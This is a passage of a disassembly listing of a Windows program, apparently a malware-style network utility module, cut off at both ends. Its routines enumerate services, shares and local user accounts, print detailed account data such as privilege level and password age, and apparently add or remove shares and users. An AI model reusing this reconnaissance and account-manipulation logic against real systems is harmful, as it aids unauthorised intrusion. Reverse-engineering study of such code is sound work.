jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FF9: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceHa_0 ; jumptable 00412FC8 case 14
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_413000: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheRequested_1 ; jumptable 00412FC8 case 3
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_413007: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceHasN ; jumptable 00412FC8 case 4
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_41300E: ; CODE XREF: sub_412EF6+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_413013: ; CODE XREF: sub_412EF6+41j
; sub_412EF6+4Bj ...
push offset dword_468980
call sub_4154CD
pop ecx
pop ecx
jmp short loc_413034
; ---------------------------------------------------------------------------
loc_413021: ; CODE XREF: sub_412EF6+36j
; sub_412EF6+89j ...
push eax ; default
; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_468980
call sub_4154CD
add esp, 0Ch
loc_413034: ; CODE XREF: sub_412EF6+129j
mov eax, offset dword_468980
retn
sub_412EF6 endp
; ---------------------------------------------------------------------------
off_41303A dd offset loc_412FE4 ; DATA XREF: sub_412EF6+D2r
dd offset loc_412FEB ; jump table for switch statement
dd offset loc_413000
dd offset loc_413007
dd offset loc_412FCF
dd offset loc_412FDD
dd offset loc_412FF2
dd offset loc_412FF9
dd offset loc_412FD6
dd offset loc_413021
byte_413062 db 0, 9, 1, 2 ; DATA XREF: sub_412EF6+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413074 proc near ; CODE XREF: seg000:0040ED70p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_43A36C ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_4130AC: ; CODE XREF: sub_413074+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_43A338 ; EnumServicesStatusA
test eax, eax
jnz short loc_4130E6
call ds:dword_421088 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41319A
loc_4130E6: ; CODE XREF: sub_413074+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_413191
lea esi, [ebp+var_188]
loc_4130F7: ; CODE XREF: sub_413074+117j
mov eax, [esi+8]
dec eax
jz short loc_413140
dec eax
jz short loc_413139
dec eax
jz short loc_413132
dec eax
jz short loc_41312B
dec eax
jz short loc_413124
dec eax
jz short loc_41311D
dec eax
jz short loc_413116
push offset aUnknown_1 ; " Unknown"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_413116: ; CODE XREF: sub_413074+99j
push offset aPaused_0 ; " Paused"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_41311D: ; CODE XREF: sub_413074+96j
push offset aPausing ; " Pausing"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_413124: ; CODE XREF: sub_413074+93j
push offset aContinuing ; " Continuing"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_41312B: ; CODE XREF: sub_413074+90j
push offset aRunning_0 ; " Running"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_413132: ; CODE XREF: sub_413074+8Dj
push offset aStoping ; " Stoping"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_413139: ; CODE XREF: sub_413074+8Aj
push offset aStarting ; " Starting"
jmp short loc_413145
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413074+87j
push offset aStopped ; " Stopped"
loc_413145: ; CODE XREF: sub_413074+A0j
; sub_413074+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4154CD
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4130F7
loc_413191: ; CODE XREF: sub_413074+77j
cmp [ebp+var_8], ebx
jnz loc_4130AC
loc_41319A: ; CODE XREF: sub_413074+6Cj
push [ebp+var_C]
call ds:dword_43A27C ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_413074 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131B1 proc near ; CODE XREF: seg000:loc_40EE27p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41324A
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4131DA
dec eax
jnz short loc_41322A
push edi
push 0
call sub_413383
pop ecx
pop ecx
jmp short loc_413226
; ---------------------------------------------------------------------------
loc_4131DA: ; CODE XREF: sub_4131B1+18j
cmp [ebp+arg_8], 0
jnz short loc_413218
push 24h
push edi
call sub_417060
pop ecx
test eax, eax
pop ecx
jnz short loc_413218
push 57h
pop eax
loc_4131F1: ; CODE XREF: sub_4131B1+77j
push eax
call sub_413B5B
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C3C
push ds:off_436610[eax*4]
push offset dword_436D1C
push esi
call sub_4154CD
add esp, 18h
jmp short loc_41326A
; ---------------------------------------------------------------------------
loc_413218: ; CODE XREF: sub_4131B1+2Dj
; sub_4131B1+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_4132D7
add esp, 0Ch
loc_413226: ; CODE XREF: sub_4131B1+27j
test eax, eax
jnz short loc_4131F1
loc_41322A: ; CODE XREF: sub_4131B1+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C3C
push ds:off_436614[eax*4]
push offset dword_436CEC
push esi
call sub_4154CD
add esp, 10h
jmp short loc_41326A
; ---------------------------------------------------------------------------
loc_41324A: ; CODE XREF: sub_4131B1+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_468C3C
lea eax, [eax+eax*2]
push ds:off_436610[eax*4]
push offset dword_436CB4
push esi
call sub_4154CD
add esp, 0Ch
loc_41326A: ; CODE XREF: sub_4131B1+65j
; sub_4131B1+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_4131B1 endp
; =============== S U B R O U T I N E =======================================
sub_413270 proc near ; CODE XREF: seg000:004148E5p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41327D
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41327D: ; CODE XREF: sub_413270+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_421138
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test ds:byte_468E3C, 1
mov ebp, eax
jnz short loc_4132BA
or ds:byte_468E3C, 1
lea eax, [ebp+1]
push eax
call sub_4167A5
pop ecx
mov ds:dword_468BDC, eax
loc_4132BA: ; CODE XREF: sub_413270+32j
push esi
push esi
push ebp
push ds:dword_468BDC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_468BDC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_413270 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132D7 proc near ; CODE XREF: sub_4131B1+6Dp
; sub_4149C4+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_413342
push [ebp+arg_4]
mov edi, eax
call sub_413342
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_417060
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_413342
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_43A278
pop edi
leave
retn
sub_4132D7 endp
; =============== S U B R O U T I N E =======================================
sub_413342 proc near ; CODE XREF: sub_4132D7+Ap
; sub_4132D7+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_41334F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41334F: ; CODE XREF: sub_413342+9j
push ebx
push esi
mov esi, ds:dword_421064
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4167A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_413342 endp
; =============== S U B R O U T I N E =======================================
sub_413383 proc near ; CODE XREF: sub_4131B1+20p
; seg000:0041485Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_413342
push [esp+8+arg_4]
mov esi, eax
call sub_413342
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_43A250
pop esi
retn
sub_413383 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133A6 proc near ; CODE XREF: seg000:0040EE53p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_413342
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 18h
loc_4133DF: ; CODE XREF: sub_4133A6+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_43A2C4
mov ebx, eax
cmp ebx, esi
jz short loc_413442
cmp ebx, 0EAh
jz short loc_413442
push ebx
push ebx
call sub_413B5B
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_436D7C
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 24h
jmp short loc_4134AF
; ---------------------------------------------------------------------------
loc_413442: ; CODE XREF: sub_4133A6+5Dj
; sub_4133A6+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4134A6
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_413450: ; CODE XREF: sub_4133A6+FCj
push dword ptr [esi+10h]
call ds:dword_43A26C ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_413467
mov eax, offset aNo ; "No"
loc_413467: ; CODE XREF: sub_4133A6+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_413450
xor esi, esi
loc_4134A6: ; CODE XREF: sub_4133A6+A2j
push [ebp+var_4]
call ds:dword_43A408
loc_4134AF: ; CODE XREF: sub_4133A6+9Aj
cmp ebx, 0EAh
jz loc_4133DF
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4133A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134C7 proc near ; CODE XREF: seg000:loc_40EEC9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41356B
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_413509
dec eax
jz short loc_4134FE
dec eax
jnz short loc_413524
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_41360D
add esp, 14h
jmp short loc_413520
; ---------------------------------------------------------------------------
loc_4134FE: ; CODE XREF: sub_4134C7+1Dj
push ebx
push edi
call sub_4135EC
pop ecx
pop ecx
jmp short loc_413520
; ---------------------------------------------------------------------------
loc_413509: ; CODE XREF: sub_4134C7+1Aj
cmp [ebp+arg_8], edi
jz short loc_41351D
push [ebp+arg_8]
push ebx
push edi
call sub_413592
add esp, 0Ch
jmp short loc_413520
; ---------------------------------------------------------------------------
loc_41351D: ; CODE XREF: sub_4134C7+45j
push 57h
pop eax
loc_413520: ; CODE XREF: sub_4134C7+35j
; sub_4134C7+40j ...
cmp eax, edi
jnz short loc_413544
loc_413524: ; CODE XREF: sub_4134C7+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E40
push ds:off_436614[eax*4]
push offset dword_436E6C
push esi
call sub_4154CD
add esp, 10h
jmp short loc_41358B
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4134C7+5Bj
push eax
call sub_413B5B
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E40
push ds:off_436610[eax*4]
push offset dword_436E2C
push esi
call sub_4154CD
add esp, 18h
jmp short loc_41358B
; ---------------------------------------------------------------------------
loc_41356B: ; CODE XREF: sub_4134C7+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_468E40
lea eax, [eax+eax*2]
push ds:off_436610[eax*4]
push offset dword_436DF0
push esi
call sub_4154CD
add esp, 0Ch
loc_41358B: ; CODE XREF: sub_4134C7+7Bj
; sub_4134C7+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4134C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413592 proc near ; CODE XREF: sub_4134C7+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_413342
push [ebp+arg_4]
mov edi, eax
call sub_413342
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_413342
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_43A25C
pop edi
leave
retn
sub_413592 endp
; =============== S U B R O U T I N E =======================================
sub_4135EC proc near ; CODE XREF: sub_4134C7+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_413342
push [esp+8+arg_4]
mov esi, eax
call sub_413342
pop ecx
pop ecx
push eax
push esi
call ds:dword_43A24C
pop esi
retn
sub_4135EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41360D proc near ; CODE XREF: sub_4134C7+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_413342
push [ebp+arg_4]
mov esi, eax
call sub_413342
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_43A3D0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41399A
mov eax, [ebp+var_4]
test eax, eax
jz loc_4139D5
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4154CD
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_413726
dec eax
jz short loc_41371F
dec eax
jz short loc_413718
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41372B
; ---------------------------------------------------------------------------
loc_413718: ; CODE XREF: sub_41360D+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41372B
; ---------------------------------------------------------------------------
loc_41371F: ; CODE XREF: sub_41360D+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_41372B
; ---------------------------------------------------------------------------
loc_413726: ; CODE XREF: sub_41360D+FCj
mov eax, offset aGuest ; "Guest"
loc_41372B: ; CODE XREF: sub_41360D+109j
; sub_41360D+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D32
add esp, 20h
pop edi
pop ebx
jmp short loc_4139C6
; ---------------------------------------------------------------------------
loc_41399A: ; CODE XREF: sub_41360D+35j
push eax
lea eax, [ebp+var_204]
push offset dword_436EA0
push eax
call sub_4154CD
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_412D32
add esp, 20h
loc_4139C6: ; CODE XREF: sub_41360D+38Bj
cmp [ebp+var_4], 0
jz short loc_4139D5
push [ebp+var_4]
call ds:dword_43A408
loc_4139D5: ; CODE XREF: sub_41360D+40j
; sub_41360D+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_41360D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139DB proc near ; CODE XREF: seg000:0040EEF5p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_413342
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 18h
loc_413A1A: ; CODE XREF: sub_4139DB+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_43A2E0
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_413A7B
cmp eax, 0EAh
jz short loc_413A7B
push eax
push eax
call sub_413B5B
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_4370A8
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 24h
jmp short loc_413AF6
; ---------------------------------------------------------------------------
loc_413A7B: ; CODE XREF: sub_4139DB+62j
; sub_4139DB+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_413B09
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_413AF6
loc_413A8D: ; CODE XREF: sub_4139DB+EDj
cmp edi, esi
jz short loc_413ACC
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_5 ; " %S"
push eax
call sub_4154CD
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_413A8D
jmp short loc_413AF6
; ---------------------------------------------------------------------------
loc_413ACC: ; CODE XREF: sub_4139DB+B4j
lea eax, [ebp+var_218]
push offset dword_437060
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 1Ch
loc_413AF6: ; CODE XREF: sub_4139DB+9Ej
; sub_4139DB+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_413B09
push edi
call ds:dword_43A408
xor edi, edi
mov [ebp+var_4], edi
loc_413B09: ; CODE XREF: sub_4139DB+A5j
; sub_4139DB+120j
cmp [ebp+var_C], 0EAh
jz loc_413A1A
cmp edi, esi
jz short loc_413B21
push edi
call ds:dword_43A408
loc_413B21: ; CODE XREF: sub_4139DB+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4139DB endp
; =============== S U B R O U T I N E =======================================
sub_413B5B proc near ; CODE XREF: sub_4131B1+41p
; sub_4133A6+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_413C0D
jz loc_413C06
cmp eax, 7Bh
ja short loc_413BD2
jz short loc_413BC8
cmp eax, 5
jz short loc_413BBE
cmp eax, 8
jz short loc_413BB4
cmp eax, 32h
jz short loc_413BAA
cmp eax, 35h
jz short loc_413BA0
cmp eax, 57h
jnz loc_413C5C
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BA0: ; CODE XREF: sub_413B5B+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BAA: ; CODE XREF: sub_413B5B+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BB4: ; CODE XREF: sub_413B5B+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BBE: ; CODE XREF: sub_413B5B+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BC8: ; CODE XREF: sub_413B5B+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BD2: ; CODE XREF: sub_413B5B+1Aj
sub eax, 7Ch
jz short loc_413BFF
sub eax, 7C8h
jz short loc_413BF8
dec eax
jz short loc_413BEE
dec eax
jnz short loc_413C5C
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BEE: ; CODE XREF: sub_413B5B+84j
